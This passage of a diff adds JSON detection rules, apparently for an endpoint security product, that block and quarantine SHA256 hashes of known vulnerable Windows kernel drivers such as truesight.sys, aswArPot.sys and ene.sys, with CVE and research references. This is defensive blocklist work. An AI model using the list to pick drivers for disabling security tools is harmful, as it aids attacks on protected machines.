+  "value": "4a05ad47cd63932b3df2d0f1f42617321729772211bec651fe061140d3e75957",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "283e5bca-9901-5e4b-964e-c78cc7c5b22c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829696Z",
+  "creation_date": "2026-03-23T11:45:30.829698Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829704Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "06ca3298bf7b70f797198adc31108fe95126fb37b12021e3e00390f60bb7181b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2842e846-f175-5aa4-a969-032d3b8f4e04",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140094Z",
+  "creation_date": "2026-03-23T11:45:31.140096Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140102Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "34246ad7d90163e21633a7f76bc9709332a1b67e3263151263fc9f5f853891f4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "284688e5-29cd-594b-bc06-976b650c452a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606438Z",
+  "creation_date": "2026-03-23T11:45:29.606440Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606446Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "703b4ec0a36c18af294f5db9e0acf73edec524515f75856bb8da7a98b4e26910",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "284b1cab-cbce-5dc2-9b80-1869174a4d2a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157548Z",
+  "creation_date": "2026-03-23T11:45:31.157550Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157557Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7154523cf44a211b4b39b7e24f37368e83a67ef90fdc1b9553e0d850f0d08509",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "284d0c81-9673-548d-8e49-58b9a7834e51",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613012Z",
+  "creation_date": "2026-03-23T11:45:29.613014Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613019Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b0ed869a98c4cc2fc84deacb91ab87ca7657f0aea3e1c23234263e99237712fb",
+  "comment": "Marvin Test Solutions HW vulnerable driver (aka Hw.sys and Hw64.sys) [https://decoded.avast.io/janvojtesek/the-return-of-candiru-zero-days-in-the-middle-east/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "285393c7-3974-5188-a0e0-4cd0b01b85d2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487594Z",
+  "creation_date": "2026-03-23T11:45:31.487596Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487602Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0154a13245c9b2ce43c31de3c78e49d3d9de3fac1bed848520aae9d423d822e7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "285c71f4-484f-57f8-a139-754d50d9ab91",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473912Z",
+  "creation_date": "2026-03-23T11:45:31.473915Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.473926Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "47e95a501379d5f835eef82a9fd7ed0e80a04a7a780e9bac73830965a89d5302",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "286359cf-919a-5ac3-9a9d-55d98db458c3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835789Z",
+  "creation_date": "2026-03-23T11:45:30.835791Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835797Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b04d79bf5f1038113278d0f22f0d4a262e1416b52e8983e25dd1a6c226a99e2c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "28706d2e-50b2-51b9-94ea-5def0c1f6a8b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144753Z",
+  "creation_date": "2026-03-23T11:45:31.144755Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144761Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "254c19c95c44c54d4bd33df6898245b44699a2121db520e621e9c140a358e8bb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2870aa4c-f10d-5a6e-9c10-645b843daf4d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815986Z",
+  "creation_date": "2026-03-23T11:45:31.815990Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815998Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9b047cd7bb68be8ddec660503d5b6f30f99b0091420a987cb6ff172b3fa6e4fd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2872703e-bc36-5ae0-8de2-78407291bb9b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486447Z",
+  "creation_date": "2026-03-23T11:45:31.486450Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486458Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ea15838c7281eb1afb472e7ea8801b8f32232a661153754aa69dafd98f534953",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2884afd6-ebca-5d79-aee7-2932a94663d1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822203Z",
+  "creation_date": "2026-03-23T11:45:31.822205Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822210Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "82c86dccb438ae2f58d44fe34c5780fb02334ff0329868a28f55b85b18b1f47b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2886cab4-72f8-540c-bbe0-3c49982c9234",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970245Z",
+  "creation_date": "2026-03-23T11:45:29.970247Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970252Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "00716eab8a3277128fb5ea8b1ac863e4b81b40674f7c6eb0f201e96341fd87c9",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "289001a0-3ef1-55c0-880f-42c3c1d99321",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.472378Z",
+  "creation_date": "2026-03-23T11:45:31.472381Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472390Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9c2b90cc27a96098b59ae89939e6adc00a8fdd69a9b43a23730e50571fe68abb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "28963a63-7d3c-5bc5-9a23-5530a85da16a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156962Z",
+  "creation_date": "2026-03-23T11:45:31.156964Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156970Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c4de9d73720d02d54e0db5bd5bcaded5425bb73ef0886cfa8b74e48df921ee49",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "28a4b087-8491-517a-bd65-fcf74da2190e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146077Z",
+  "creation_date": "2026-03-23T11:45:31.146079Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146084Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "37e3631303ef170f071203b4577a998e7390e3bcacf23d9dc5fee7252353dbee",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "28a87c3f-d4af-53b9-81eb-73750a75640f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153890Z",
+  "creation_date": "2026-03-23T11:45:31.153892Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153897Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "163c5afcc5ef9d4561cb0ee04b85d0b8d2026423079c797484221a442194e687",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "28b03214-b2b3-5594-8709-4dc806d2e668",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968167Z",
+  "creation_date": "2026-03-23T11:45:29.968169Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968175Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "06bda5a1594f7121acd2efe38ccb617fbc078bb9a70b665a5f5efd70e3013f50",
+  "comment": "ENE Technology Inc Vulnerable I/O Driver (aka ene.sys) [https://swapcontext.blogspot.com/2020/08/ene-technology-inc-vulnerable-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "28cadc33-4e01-5cc4-9b99-02bd8b3517f7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156178Z",
+  "creation_date": "2026-03-23T11:45:31.156180Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156186Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8bf703ff0947ef595d5bbb1a7a424a52384c5b0e84e3fe0214409fdddb978464",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "28d1d35d-5151-5d28-b28f-48422d5f2365",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807641Z",
+  "creation_date": "2026-03-23T11:45:31.807643Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.807649Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a44dd4e5c71952ee7939fcc946de0e9ccf9e63688145dbb42a0257bd4fb6a440",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "28dbf36c-5288-5f4d-b31a-267784752981",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618638Z",
+  "creation_date": "2026-03-23T11:45:29.618639Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618645Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d9434a50e1a6252f23af362631a5576017cce3ef109d7fc93748de8bd46f9385",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "28f47e18-09f5-5def-8cd9-8269b4ea3304",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461441Z",
+  "creation_date": "2026-03-23T11:45:30.461445Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461453Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c8926e31be2d1355e542793af8ff9ccc4d1d60cae40c9564b2400dd4e1090bda",
